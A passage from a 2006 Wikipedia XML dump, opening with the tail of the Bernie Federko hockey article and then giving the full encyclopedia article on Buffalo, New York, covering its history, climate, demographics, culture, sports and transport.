  &lt;TD ALIGN=center&gt;'''1130'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''487'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''119'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''2'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''40'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''91'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''35'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''66'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''101'''&lt;/td&gt;
  &lt;TD ALIGN=center&gt;'''83'''&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

{{start box}}
{{succession box | before = [[Brian Sutter]] | title = [[St. Louis Blues (hockey)#Team captains|St. Louis Blues captains]] | years = [[1988]]-[[1989]] | after = [[Rick Meagher]]}}
{{end box}}

==See also==
*[[List of NHL players]]
*[[List of NHL seasons]]
*[[List of NHL players with 1000 points]]
*[[Hockey Hall of Fame]]
*[[List of NHL statistical leaders]]

==References==
*''Total Hockey'' (Second Edition), Editor - Dan Diamond, ISBN 1-892129-85-X

==External links==
*[http://www.legendsofhockey.net/html/ind02federko.htm Legends of Hockey]
*[http://www.hockeydraftcentral.com/1976/76007.html Hockey Draft Central]
*[http://www.stlouisblues.com/history/retired/retired_ferderko.html St. Louis Blues Website]
*[http://www.hockeydb.com/ihdb/players/data04/00001634.html HockeyDB]

[[Category:1956 births|Federko, Bernie]]
[[Category:Living people|Federko, Bernie]]
[[Category:Hockey Hall of Fame|Federko, Bernie]]
[[Category:Detroit Red Wings players|Federko, Bernie]]
[[Category:St. Louis Blues players|Federko, Bernie]]
[[Category:Saskatoon Blades alumni|Federko, Bernie]]
[[Category:Canadian ice hockey players|Federko, Bernie]]
[[Category:NHL 100-point seasons|Federko, Bernie]]
[[Category:Saskatchewan sportspeople|Federko, Bernie]]
[[ja:バーニー・フェデルコ]]
[[fi:Bernie Federko]]</text>
    </revision>
  </page>
  <page>
    <title>Buffalo, New York</title>
    <id>3985</id>
    <revision>
      <id>42116250</id>
      <timestamp>2006-03-03T22:52:33Z</timestamp>
      <contributor>
        <username>Sfahey</username>
        <id>92164</id>
      </contributor>
      <comment>moved overly fine detail to new article &quot;Buffalo Public Schools&quot;</comment>
      <text xml:space="preserve">{{Infobox City | 
official_name = Buffalo, New York |
image_skyline = Downtownbuffalony.jpg |
[[buffalonight.jpg]]
nickname = City of Good Neighbors | 
image_flag = BuffaloNYFlag.jpg |
image_seal = BuffaloNYSeal.jpg |
image_map = NewYorkMapwithBuffalo.jpg|
map_caption = Location of Buffalo in New York State|
subdivision_type = [[County]] |
subdivision_name = [[Erie County, New York|Erie County]] |
leader_title = [[Mayor]] |
leader_name = [[Byron Brown]] | 
area_note = | 
area_magnitude = 1 E9 | 
area_total = 136.0|
area_land = 105.2 | 
area_water = 30.8|
population_as_of = 2000 |
population_note = |
population_total = 292,648 |
population_density = 2782.4 | 
timezone = [[Eastern Standard Time|EST]] | 
utc_offset = &amp;minus;5 | 
timezone_DST = [[Eastern Daylight Time|EDT]] | 
utc_offset_DST = &amp;minus;4 | 
latitude = 42&amp;deg;54'17&quot; N | 
longitude = 78&amp;deg;50'58&quot; W | 
website = [http://www.ci.buffalo.ny.us/ Buffalo, NY] |
footnotes = | 
}}
{{dablink|See [[Buffalo]] for other places with this name.}}
'''Buffalo''' is an [[United_States|American]] city in western [[New York]]. With a  population of approximately 280,000 as of 2005 [http://www.census.gov/popest/cities/tables/SUB-EST2004-01.xls], it is the state's second-largest city, after [[New York City]], and is the [[county seat]] of [[Erie County, New York|Erie County]]{{GR|6}}. The Buffalo-Niagara metropolitan area has a population of 1.1 million. Despite its cold, industrial image, Buffalo is home to a diverse population and thriving arts, cultural, and nightlife scenes. 

Buffalo lies on the [[Niagara River]], which connects [[Lake Erie]] and [[Lake Ontario]]. European-Americans first settled there in the late-18th century. Growth was slow until the city became the western terminus of the [[Erie Canal]] some 40 years later. By the turn of the next century, Buffalo was one of the country's leading cities, and by far its largest inland port. The huge grain elevators and industrial plants that the canal spawned began to disappear in the mid-20th century as the [[Saint Lawrence Seaway]] enabled water traffic to bypass the city.    

Distancing itself from its industrial past, Buffalo is redefining itself as a cultural, educational, and medical center. The city was named by ''[[Reader's Digest]]'' as the third cleanest city in [[United States|America]] in 2005. [http://www.rd.com/content/openContent.do?contentId=15223&amp;pageIndex=3] In 2001 [[USA Today]] named Buffalo the winner of its &quot;City with a Heart&quot; contest, proclaiming it the nation's &quot;friendliest city.&quot;  Also in [[1996]] &amp; [[2002]] Buffalo won the [[All-America City Award]].

== History ==
=== Origin of name ===
It is a well known fact that the City of Buffalo received its name from the creek of the same name, however, there are several unproven theories as to the origin of the name of the creek. Early [[France|French]] explorers reported the abundance of [[American Bison|Buffalo]] on the south shore of Lake Erie but their presence on the banks of Buffalo Creek is still a matter of debate, so the origin of the name of the creek is still uncertain. Neither the [[North American Indians|Native American]] name (&quot;Place of the Basswoods&quot;) or the French name (&quot;River of Horses&quot;) survived so the current name likely dates to the British occupation which began with the capture of Fort Niagara in 1759. The first known appearance of the name was in 1764 in the Journal of British military engineer John Montressor who explored Buffalo Creek before choosing the site of Fort Erie on the opposite side of the Niagara River. Another claim is that the creek is named after a Native American, who once lived in that area. The argument that the name is an anglicized form of the name ''Beau Fleuve'' (''beautiful river''), which was supposedly an exclamation uttered by Louis Hennipin when he first saw the stream, is the least likely explanation.

=== Early history of Buffalo === 
Most of western [[New York]] was granted by [[Charles II of England]] to the [[Duke of York]] (later known as [[James II of England]]), but the first European settlement in what is now Erie County was by the French, at the mouth of [[Buffalo River (New York) |Buffalo Creek]] in [[1758]].  Its buildings were destroyed a year later by the evacuating French after the British captured Fort Niagara.  The British took control of the entire region in [[1763]], at the conclusion of the [[French and Indian War]].

The first permanent settlers in present day Buffalo were Cornelius Winney and &quot;Black Joe&quot; Hodges, who set up a [[log cabin]] store there in [[1789]] for trading with the [[Native Americans in the United States|Native American]] community.  [[Netherlands|Dutch]] investors purchased the area as part of the [[History of New York |Holland Land Purchase]], and parcels were sold through the Holland Land Company's office in [[Batavia, New York]], starting in [[1801]].  The village was initially called Lake Erie, then later Buffalo Creek, soon shortened to Buffalo. An attempt by Joseph Ellicott to rename it New Amsterdam failed.  In [[1808]], the new [[Niagara County, New York]] was formed (including what is now Erie County), and Buffalo became its county seat. By [[1811]], the predominantly Anglo-American [[village]] had grown to 500 people.

[[Image:Electric_Building_-_Buffalo.jpg|thumb|left|The Electric Building - Buffalo, New York]]

=== The 19th century === 
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Buffalo &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|1830 || 8,668
|-
|1840 || 18,213
|-
|1850 || 42,261
|-
|1860 || 81,129
|-
|1870 || 117,714
|-
|1880 || 155,134
|-
|1890 || 255,664
|-
|1900 || 352,387
|-
|1910 || 423,715
|-
|1920 || 506,775
|-
|1930 || 573,076
|-
|1940 || 575,901
|-
|1950 || 580,132
|-
|1960 || 532,759
|-
|1970 || 462,768
|-
|1980 || 357,870
|-
|1990 || 328,123
|-
|2000 || 292,648
|}

Around 1804 the future city was planned by [[Joseph Ellicott]], a principal agent of the Holland Land Company. His plan for the city included a radial street and grid system that branches out from downtown and is one of only three completed radial street patterns in the U.S.A. In [[1810]] the Town of Buffalo was formed from the western part of the [[Clarence, New York |Town of Clarence]] while still part of [[Niagara County, New York |Niagara County]].  On [[December 30]], [[1813]], during the [[War of 1812]], British troops and their Native American allies captured the village of Buffalo and burned much of it to the ground.  Buffalo was rebuilt and re-established and incorporated as a [[town]] in [[1816]]. In 1818 the eastern part of the town was lost to form the [[Amherst, New York |Town of Amherst]], and in 1839, the northern part of the Town of Buffalo became the [[Black Rock, New York |Town of Black Rock]]. 

Upon the completion of the [[Erie Canal]] in [[1825]], Buffalo became the western end of the 524-mile waterway starting at [[New York City]].  At the time Buffalo had a population of about 2,400 people; with the increased commerce of the canal, the population boomed and Buffalo became a village in 1832.  Buffalo was re-incorporated as a city in [[1853]], at which time it had some 10,000 people.  The re-incorporation included the Village and Town of Black Rock, which had been Buffalo's early rival for the canal terminus.  After the canal's completion, thousands of pioneers to western United  States debarked from Erie Canalboats to begin their western adventure from Buffalo.   During their hiatus in Buffalo, many partook of the pleasures of Buffalo's infamous ''Canal Street'' district. 

Buffalo was a terminus of the [[Underground Railroad]], an informal series of safe houses for runaway slaves who had escaped from the U. S. South in the mid-19th century. After hiding at the Michigan Street Baptist Church, the slaves could take a ferry to [[Fort Erie, Ontario]], [[Canada]] and freedom.

The century included several [[President of the United States |U.S. presidents]] have connections with Buffalo. [[Millard Fillmore]] took up permanent residence in Buffalo in [[1822]] before he became America's 13th president; he was also the first chancellor of the University of Buffalo (later [[University at Buffalo]]). [[Grover Cleveland]], the 22nd and 24th President of the United States, lived in Buffalo from [[1854]] until [[1882]], and served as Buffalo's mayor from 1882–1883. [[William McKinley]] was shot by [[Leon Czolgosz]] on [[September 6]], [[1901]] at the [[Pan-American Exposition]] in Buffalo, and died in Buffalo on the 14th. [[Theodore Roosevelt]] was then sworn in on [[September 14th]], [[1901]] at the Wilcox Mansion (now the [[Theodore Roosevelt Inaugural National Historic Site]]), becoming one of the few presidents to be sworn in outside of [[Washington, D.C.]].  

The Pan-American Exposition was not the only event that placed Buffalo in the national spotlight in the latter part of the century. Drawing on its proximity to the power generators at [[Niagara Falls]], Buffalo became the first large city in North America to have widespread electric lighting, yielding it yet another nickname, the &quot;City of Lights.&quot;

[[Image:Buffalo_City_Hall_-_001.jpg|thumb|220px|left|The city hall of Buffalo, NY - an art deco masterpiece]]

=== The 20th century ===
At the turn of the century, Buffalo was a growing city with a burgeoning economy.  Immigrants came from Ireland, Italy, Germany, and Poland to work in the steel and grain mills which had taken advantage of the city's critical location at the junction of the [[Great Lakes]] and the Erie Canal.   Hydroelectric power harnessed from nearby [[Niagara Falls]] made Buffalo the first American city to enjoy widespread electric power.

The opening of the [[Peace Bridge]] linking Buffalo with [[Fort Erie, Ontario]] on [[7 August]], [[1927]] was an occasion for significant celebrations. Those in attendance included Edward, Prince of Wales (later to become Edward VIII of the United Kingdom), his brother Prince Albert George (later George VI), [[United Kingdom|British]] Prime Minister [[Stanley Baldwin]], Canada's Prime Minister [[William Lyon Mackenzie King]], US Vice President Charles G. Dawes, and New York governor [[Alfred E. Smith]].

[[Image:BuffaloNY1922.jpg|thumb|Main Street and Lafayette Square, Buffalo, from a 1922 postcard]] 

Buffalo's new City Hall was dedicated on [[July 1]], [[1932]].  It was the city's tallest building until [[1970]].

The city's importance declined in the later [[20th Century]] for several reasons, perhaps the most devastating being the opening of the [[St. Lawrence Seaway]] in [[1957]].  Goods which had previously passed through Buffalo could now bypass it using a series of canals and locks, reaching the ocean via the [[St. Lawrence River]].  Another major toll on the city was the suburban migration trend, which occurred in many American cities at the time. The city, which boasted over half a million people at its peak, has seen its population decline by some 50 percent, as industries shut down and people left the [[Rust Belt]] for the more moderate winters and air-conditioned summers of the South and Southwest. The metropolitan area as a whole has not shrunk by nearly as much, but it is still one of the few metropolitan areas of over 1 million population that has been losing population.

There is a myth(once propagated by a local newspaper article following one of the Buffalo Bills four straight Super Bowl losses in the early 90s) that Buffalo suffers from the &quot;Curse of McKinley&quot; - that is the city has been cursed by bad luck since President McKinley's 1901 assassination and this explains why neither the Buffalo Bills or Sabres have been able to win a league championship.  This myth doesn't explain the city's booming economy in the earlier part of the 20th century and why teams in America's two other assassination-hosting cities, Washington, DC and Dallas, TX have both enjoyed major league championships.

=== The 21st Century ===
In November of 2005, [[Byron Brown]] was elected Mayor of Buffalo. He is the first African-American to hold this office.
See also: [[List of mayors of Buffalo, New York]]

==Geography==
Buffalo is located on the eastern end of [[Lake Erie]], at the beginning of the Niagara River, which flows northward over [[Niagara Falls]] and into [[Lake Ontario]].  It is located at 42&amp;deg;54'17&quot; North, 78&amp;deg;50'58&quot; West (42.904657, -78.849405){{GR|1}}. The city is geographically closer to [[Toronto]], [[Canada]] than it is to any major US city.  The city is opposite [[Fort Erie, Ontario]] in Canada. 

According to the [[United States Census Bureau]], the city has a total area of 136.0 [[square kilometre|km&amp;sup2;]] (52.5 [[square mile|mi&amp;sup2;]]).  105.2 km&amp;sup2; (40.6 mi&amp;sup2;) of it is land and 30.8 km&amp;sup2; (11.9 mi&amp;sup2;) of it is water.  The total area is 22.66% water.

==Climate==
Buffalo has a perhaps undeserved publicity for [[severe weather]].  In fact, Buffalo is the sunniest and driest of any major city in the [[Northeastern United States|Northeast]] in the summer, but still receives enough rain to keep vegetation green and lush. Of course, this causes the area to be quite humid in late summer, which is why many residents have backyard pools and air conditioners, a fact that surprises many visitors, who expect Buffalo is all about snow and cold.

Winters are a bit longer than in other areas, and due to the [[lake effect snow|lake effect]], Buffalo averages more snowfall than most northern cities, but they are not extremely cold and include frequent thaws and rain as well. Ski country south of Buffalo receives about twice the amount of snow as the metro area each winter, making it one of the best winter recreation centers in the northeastern USA.

The occasionally heavy snowfall in the region is caused by below-freezing winds blowing over the warmer water of Lake Erie. Often the resulting meandering &quot;[[snowbelt]]s&quot; are only ten or fifteen miles wide, with sun shining in one spot and raging lake-effect snow falling only a mile or two away. Lake Erie is much shallower than the other [[Great Lakes]], and portions often freeze over in the winter. When this occurs, lake-effect snowfall ends. Perhaps the best known snow storm in Buffalo history is the [[Blizzard of '77]].   Severe storms also occurred on November 20, 2000 and around Christmas, 2001.  The city is an annual competitor for the [[Golden Snowball Award]] between large [[Upstate New York|Upstate]] cities.

Often obscured by media frenzy over winter snowstorms is the fact that Buffalo benefits from the moderating influence of Lake Erie.  Its summers are delightful, with cooling southwest breezes from the lake tempering the warmest days.  Buffalo's official weather station has never recorded a temperature of 100 degrees Fahrenheit or more, one of only three major US city weather stations with this distinction.(ironically, the other two are [[Miami, Florida]] and [[Honolulu, Hawaii]]).  The city has the highest per-capita number of private swimming pools of any major American city. Sailing, waterskiing, and swimming are popular summer pastimes, as well as sport fishing, which has at its disposal one of the greatest varieties of fresh-water fish in the nation, in the Niagara River, Lake Erie, and tributary streams.  These include walleye, perch, large- and small-mouth bass, trout and steelhead, northern pike, muskellunge, and imported salmon.

==Demographics==
[[Image:M&amp;T_Bank_Center_&amp;_Liberity_Building_-_Buffalo_NY.jpg|thumb|M&amp;T Center &amp; The Liberty Building - Buffalo, New York]]
As of the [[census]]{{GR|2}} of [[2000]],the city had a total population of 292,648.  Erie and [[Niagara County, New York | Niagara]] Counties have a combined population of 1,170,111 (2000). 

At that time there were 292,648 people, 122,720 households, and 67,005 families residing in the city.  The [[population density]] is 2,782.4/km&amp;sup2; (7,205.8/mi&amp;sup2;).  There are 145,574 housing units at an average density of 1,384.1/km&amp;sup2; (3,584.4/mi&amp;sup2;).  The racial makeup of the city is 54.43% [[White (U.S. Census)|White]], 37.23% [[African American]], 0.77% [[Native American (U.S. Census)|Native American]], 1.40% [[Asian (U.S. Census)|Asian]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 3.68% from [[Race (U.S. Census)|other races]], and 2.45% from two or more races.  7.54% of the population are [[Hispanic American|Hispanic]] or [[Latino]] of any race.

There were 122,720 households out of which 28.6% have children under the age of 18 living with them, 27.6% are [[Marriage|married couples]] living together, 22.3% have a female householder with no husband present, and 45.4% are non-families. 37.7% of all households are made up of individuals and 12.1% have someone living alone who is 65 years of age or older.  The average household size is 2.29 and the average family size is 3.07.

In the city the population included 26.3% under the age of 18, 11.3% from 18 to 24, 29.3% from 25 to 44, 19.6% from 45 to 64, and 13.4% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 88.6 males.  For every 100 females age 18 and over, there are 83.5 males.

The median income for a household in the city is $24,536, and the median income for a family is $30,614. Males have a median income of $30,938 versus $23,982 for females. The [[per capita income]] for the city is $14,991.  26.6% of the population and 23.0% of families are below the [[poverty line]].  Out of the total population, 38.4% of those under the age of 18 and 14.0% of those 65 and older are living below the poverty line.

Buffalo has very sizable populations of Italian, Polish, and German descents.  Despite many true references to Buffalo in &quot;The X-Files&quot; TV series, the episode &quot;Born Again&quot; makes a reference to a nonexistent Chinatown.

==Education==
Buffalo is home to two [[State University of New York]] institutions, each the largest of their type in the system. [[Buffalo State College]], a comprehensive college, and the [[University at Buffalo]], the flagship university center of the State University of New York.  The city also is home to [[Bryant and Stratton |Bryant and Stratton College]], [[Daemen College]], [[D'Youville College]], [[Medaille College]], [[Canisius College]], and [[Trocaire College]]. A campus of [[Erie Community College]] and a site of [[Empire State College]] are also located in the downtown area.

The [http://www.buffaloschools.org/ Buffalo Public Schools] are going through a transitional phase, with many buildings requiring renovation and enrollments overall declining.  The system boasts the best academically performing high school in Western New York, the [http://www.cityhonors.org City Honors School at Fosdick-Masten Park]],and [[Lafayette High School (Buffalo)|Lafayette High School]], completed in 1903 and the oldest Buffalo public school still in its original building.

==Business, Commerce, and Industry==

Buffalo and the surrounding area was long involved in steel-making and automobile production.  While steel production is now mostly a thing of the past, several smaller steel mills remain in operation.  In addition, [[Ford Motor Company|Ford]] maintains operation of its Buffalo Stamping Plant south of the city.The windshield wiper was invented in Buffalo, and the [[Trico]] company still operates some facilities there.

In the 21st Century, Buffalo has become a center for bio-informatics and human genome research, including work by researchers at the [[University at Buffalo]] and the [[Roswell Park Cancer Institute]].  SUNY at Buffalo also does a lot of research in how to make buildings resistant to the effects of earthquakes.

Buffalo has a District Office of the [[US Army Corps of Engineers]], a civilian agency which designed portions of the [[St. Lawrence Seaway]], and designed and built the [[Mount Morris Dam]] for flood control on the Genesee River above [[Rochester, New York|Rochester]], the largest concrete-arch dam in the eastern United States.  The agency now is heavily involved in remediation of hazardous waste sites in the northeast.

==Culture==

===Nicknames===
By no means has &quot;City of Light&quot; been Buffalo's only nickname. The most common of its monikers - ''[[Queen City |The Queen City]]'' - refers to its position at the turn of the 20th century as the second-largest city on the [[Great Lakes]], after [[Chicago, Illinois]].  Buffalo has also been called ''The Nickel City'' due to the appearance of a buffalo on the back of [[Nickel (U.S. coin) |US nickels]] in the early part of the 20th century.  ''The City of Good Neighbors'' refers to the spirit of its inhabitants.

=== Diversity ===
Buffalo was first settled by New Englanders, then experienced a large influx of Germans, was further populated by Irish canal workers, and infused by Polish, Sicilian, Black, and more recently Latino populations, all of which have made it a melting-pot of diverse ethnic cultures.  The old First Ward in South Buffalo retains strong Irish influences; Kaisertown reflects German heritage, and the [http://www.broadwaymarket.com/ Broadway Market] is a microcosm of Polish traditions and food delicacies.  The Sicilian custom of preparing [[St. Joseph's Day]] (March 19) tables, at which various Lenten meatless courses are laid out for the poor, is continued in many Buffalo households near the waterfront as well as by some nearby churches and restaurants. A small but significant [[Jewish]] community exists, traditionally centered along Hertel Avenue but more recently concentrated in the nearby suburb of [[Williamsville, New York|Williamsville]].

=== Food ===
The Buffalo area's [[cuisine]] reflects [[Italian cuisine|Italian]], [[Irish cuisine|Irish]], [[Jewish cuisine|Jewish]], [[Polish cuisine|Polish]], [[Greek cuisine|Greek]] and [[Cuisine of the United States|American]] influences. [[Kummelweck|Beef on Weck]], Sahlen's hot dogs, Pierogi, and Haddock [[Fish and chips|Fish Fries]] are among the local favorites. [[Teressa Bellissimo]], the chef/owner of the city's Anchor Bar, first prepared the now-widespread [[Buffalo wings| chicken wing (Buffalo Wing)]] there on [[October 3]],[[1964]]. Buffalo pizza is also of unique design; perhaps because Buffalo is geographically located halfway between [[New York City]] and [[Chicago, Illinois]], the pizza made there is likewise about halfway between thin-crust [[New York]] style and deep-dish Chicago style. Several websites exist that will ship Buffalo pizza (and other local foods) anywhere in the country. 

Buffalo also has several specialty grocery stores in old ethnic neighborhoods and is home to an eclectic collection of cafes and restaurants that serve more cosmopolitan fare.

Buffalo is home to several well-known food products companies. Whipped topping, later imitated by [[Cool Whip]], was invented in Buffalo in [[1945]] by Robert E. Rich, Sr.  The food company that produced this first whipped topping, [[Rich Products Corporation]], is today a major employer in Buffalo. General Mills was organized in Buffalo, and Gold Medal brand flour, Wheaties, Bisquick, [[Betty Crocker]] mixes and [[Cheerios]] are produced there. Freezer Queen Foods, a well-known producer of frozen food dinners, also operates from the Buffalo waterfront.
One of the countries largest cheese manufacturers, [[Sorrento Lactalis]] has been here since 1947.

Buffalo is also home to one of the largest privately held food companies in the world, [[Delaware North Companies]] which runs concessions in sports arenas, stadiums, resorts and many state &amp; federal parks.

=== Art ===

Buffalo is home to over 50 private and public art galleries, most notably the [[Albright-Knox Art Gallery]], home to a world-class collection of [[Modern art]]. The local art scene is also serviced by the [[Burchfield-Penney Art Center]], [http://www.hallwalls.org/ Hallwalls Contemporary Arts Center], and countless small galleries and studios. Two street festivals - the [[Allentown Arts Festival]] and the [http://www.elmwoodartfest.org/ Elmwood Festival of the Arts] - bring thousands of people to the city to browse and purchase original artwork.

=== Architecture ===
[[Image:Darwin_Martin_House_-_2004.jpg|thumb|left|250px|Darwin [[Martin House]], Buffalo, New York]]
Many architectural treasures exist in Buffalo, including:

The country's largest intact system of parks and parkways designed by [[Frederick Law Olmsted]] and [[Calvert Vaux]], including [[Delaware Park]] which is said to be a model for Olmsted's ''Central Park'' in NYC.

The [http://ah.bfn.org/a/church/28/ Guaranty Building], by [[Louis Sullivan]], was one of the first steel-supported, curtain-walled buildings in the world, and its thirteen stories made it, at the time it was built, the tallest building in Buffalo.

The [[H.H. Richardson Complex]] is also located in Buffalo , originally The ''State Asylum for the Insane'' is Romanesque in style and is named for its famous designer [[Henry Hobson Richardson]]. The grounds of this hospital were also designed by Olmsted.  Though currently in a state of serious disrepair, negotiations are underway to preserve this treasure.  

Other notable buildings:

* [[Gordon Bunshaft]] designed [[Albright-Knox Art Gallery]]
* [[Eliel Saarinen]] and [[Eero Saarinen]] designed [[Kleinhans Music Hall]]
* [[Max Abramovitz]] designed [http://www.tbz.org/ Temple Beth Zion]
* [[Alexander Phimister Proctor]] designed the ''Lions'' for the [[McKinley Monument]]

The creme-de-la-creme of Buffalo architecture, however, are several buildings by [[Frank Lloyd Wright]], including the [[Martin House|Darwin Martin House]], [[Barton House|George Barton House]], [http://ah.bfn.org/a/soldiers/76/ William Heath House], [http://graycliff.bfn.org/ The Graycliff Estate], as well as the now demolished [[Larkin Administration Building]].

=== Nightlife ===

[[Last call (bar term)|Last call]] is 4 am in Buffalo, which is special because most of the nation is 2am.  Several distinct and thriving [[nightlife]] districts have grown around clusters of bars and nightclubs in the City. The most visible nightlife district is [http://www.westchippewa.com/ West Chippewa Street], between Main Street and South Elmwood Avenue, home to high-energy dance clubs, crowded bars, trendy coffehouses, a sex shop, and restaurants. Bohemian Allentown, where bars are as numerous but the atmosphere is a bit more relaxed, is a 20-minute walk to the North.  Allentown has other &quot;alternative&quot; fare, such as the film-arts organization, [http://www.squeaky.org/ Squeaky Wheel], and several tattoo parlors.  Another 20-minute walk north on Elmwood Avenue from Allentown is the Elmwood Strip, which runs from about Bryant and Elmwood to Elmwood and Forest. This Strip is unique, catering to many small boutiques and lacks corporations.  Crowds on this strip range from college students, to adults with families.

=== Points of interest === 
* [[Buffalo and Erie County Botanical Gardens]] 
* [[Erie Canal]]
* [[Martin House]]
* [[McKinley Monument]]
* [[Niagara Falls]]
* [[USS Little Rock|USS Little Rock (CG-4)]] in [[Buffalo and Erie County Naval &amp; Military Park]]

=== Famous People ===
See the article on [[Famous_people_from_Buffalo,_NY|Famous people from Buffalo, New York]] for an extensive listing of many of Buffalo's Sons and Daughters

==Sports teams==
&lt;b&gt;Current Teams&lt;/b&gt;&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloBills_100.png|25px|left]] The [[Buffalo Bills]], a charter team of the [[American Football League]] (1960-1969), now in the [[National Football League]]. &lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloSabres_100.png|25px|left]] The [[Buffalo Sabres]] of the [[National Hockey League]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloBisons_100.png|25px|left]] The [[Buffalo Bisons]] of [[Minor league baseball|Minor League Baseball's]] [[International League]], AAA team for the [[Cleveland Indians]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:Buff.gif|25px|left]] The [[Buffalo Bandits]] of the [[National Lacrosse League]].&lt;br style=&quot;clear:both;&quot; /&gt;
[[Image:Abarapids.gif|25px|left]] The [[Buffalo Rapids]] of the [[American Basketball Association (21st century)|American Basketball Association]].&lt;br style=&quot;clear:both;&quot; /&gt;

&lt;b&gt;Former Teams&lt;/b&gt;&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloBillsAAFClogo.gif|25px|left]] The [[Buffalo Bills (AAFC)|Buffalo Bills]] from [[1947]]&amp;ndash;[[1949]] and [[Buffalo Bills (AAFC)|Buffalo Bisons]] in [[1946]] of the defunct [[All-America Football Conference]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:buffaloblizzardlogo.gif|25px|left]] The [[Buffalo Blizzard]] of the defunct [[National Professional Soccer League]] from [[1992]]&amp;ndash;[[2001]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloBraves.png|25px|left]] The [[Buffalo Braves]] of the [[National Basketball Association]] from [[1970]]&amp;ndash;[[1978]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloDestroyers.png|25px|left]] The [[Buffalo Destroyers]] of the [[Arena Football League]] from [[1999]]&amp;ndash;[[2003]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:Misl1.gif|25px|left]] The [[Buffalo Stallions]] of the defunct [[Major Soccer League|Major Indoor Soccer League]] from [[1979]]&amp;ndash;[[1984]].&lt;br style=&quot;clear:both;&quot; /&gt;

[[Image:BuffaloStampedeRHI.gif|25px|left]] The [[Buffalo Stampede]] of the defunct [[Roller Hockey International]] from [[1994]]&amp;ndash;[[1995]].&lt;br style=&quot;clear:both;&quot; /&gt;

==Media==

===Television===

*[[WGRZ]], Channel 2 ([[NBC]])
*[[WIVB]], Channel 4 ([[CBS]])
*[[WKBW]], Channel 7 ([[American Broadcasting Company|ABC]])
*[[WNED]], Channel 17 ([[PBS]])
*[[WNLO]], Channel 23 ([[UPN]])
*[[WNYB]], Channel 26 ([[Trinity Broadcasting Network|TBN]])
*[[WUTV]], Channel 29 ([[Fox Broadcasting Company|FOX]])
*[[WNYO]], Channel 49 ([[The WB]])
*[[WPXJ]], Channel 51 ([[I (TV network)|i]])
*[[WNGS]], Channel 67 ([[Independent station|Ind]])

See also [[:Category:Television stations in Buffalo]]

===Film industry===
*The film ''[[Bruce Almighty]]'' is set primarily here, but was filmed mostly in San Diego.
*The film, ''[[The Natural]]'', while not set here, was mostly filmed here.
*''[[Buffalo 66]]'' was set and filmed here.
*The film ''[[Shadow Creature]]'' was filmed here.
*The film ''[http://imdb.com/title/tt0248169/ Manna from Heaven]'' was filmed here.

==Transportation==
The [[Niagara Frontier Transportation Authority]], or NFTA, operates public transit throughout the Buffalo area.  The NFTA runs a number of buses throughout the city and suburbs, as well as a 6-mile [[Buffalo Metro Rail|Metro Rail]] [[light rail]] rapid transit system in the city.  The NFTA also operates [[Buffalo Niagara International Airport]] and [[Niagara Falls International Airport]]. 

The [[Buffalo Metro Rail|Metro Rail]] is unique in that unlike most urban rail systems it is at/above ground in the downtown area and underground in the outer areas instead of the other way around.  The underground portion also means that Buffalo is the smallest city in the U.S. to have a [[subway]].

The city is served by [http://www.trainweb.org/amtrakpix/stationphotos/BUF/buf.html Buffalo-Depew (Amtrak)] and [http://www.trainweb.org/amtrakpix/stationphotos/BFX/bfx.html Buffalo-Exchange Street (Amtrak)] stations. 

Downtown Buffalo is also served by [http://www.buffalobiketaxi.com The Buffalo Bike Taxi Co.]

==Sister cities==
Buffalo has nine sister cities, as designated by [http://www.sister-cities.org Sister Cities, Inc. (SCI)]:
*{{flagicon|ITA}} [[Siena]], [[Italy]]
*{{flagicon|GER}} [[Dortmund]], [[Germany]]
*{{flagicon|POL}} [[Rzeszow]], [[Poland]] [http://www.wnypolonia.com/buffalo-rzeszow]
*{{flagicon|JPN}} [[Kanazawa, Ishikawa]], [[Japan]]
*{{flagicon|RUS}} [[Tver]], [[Russia]]
*{{flagicon|FRA}} [[Lille]], [[France]]
*{{flagicon|ISR}} [[Kiryat Gat]], [[Israel]]
*{{flagicon|GHA}} [[Cape Coast]], [[Ghana]]
*{{flagicon|UKR}} [[Drohobych]], [[Ukraine]]

==References==
*''Names on the Land'' by [[George R. Stewart]] (4th ed. 1983) ISBN 093853002X
*''Mark Twain: A Biography'' by [[Albert Bigelow Paine]], Harper &amp; Brothers, New York, 1912

==External links==
{{Commons|Buffalo, New York}}
* [http://www.ci.buffalo.ny.us/ City of Buffalo webpage]
* [http://www.buffalonews.com/ ''The Buffalo News'']
* [http://www.buffalo.com/ Buffalo.com - Everything Buffalo]
* [http://www.visitbuffaloniagara.com/ Buffalo Niagara Convention &amp; Visitors Bureau webpage]
* [http://www.GoBuffaloNiagara.com/ Buffalo Niagara Online Event Guide]
* [http://ah.bfn.org/ Buffalo Architecture and History]
* [http://fixbuffalo.blogspot.com/ Fix Buffalo Today!]
* [http://www.buffalonian.com/history/ Histories of Western New York at ''The Buffalonian'']
* [http://www.wgrz.com/enter/archtour.asp WGRZ: Architectural Tour of Buffalo]
* [http://www.peterbeers.net/interests/flw_rt/New_York/new_york.htm Frank Lloyd Wright in Western New York]
* [http://www.buffalomusic.org/ Buffalo Music Hall of Fame]
* [http://www.buffaloresearch.com/ Buffalo Research]
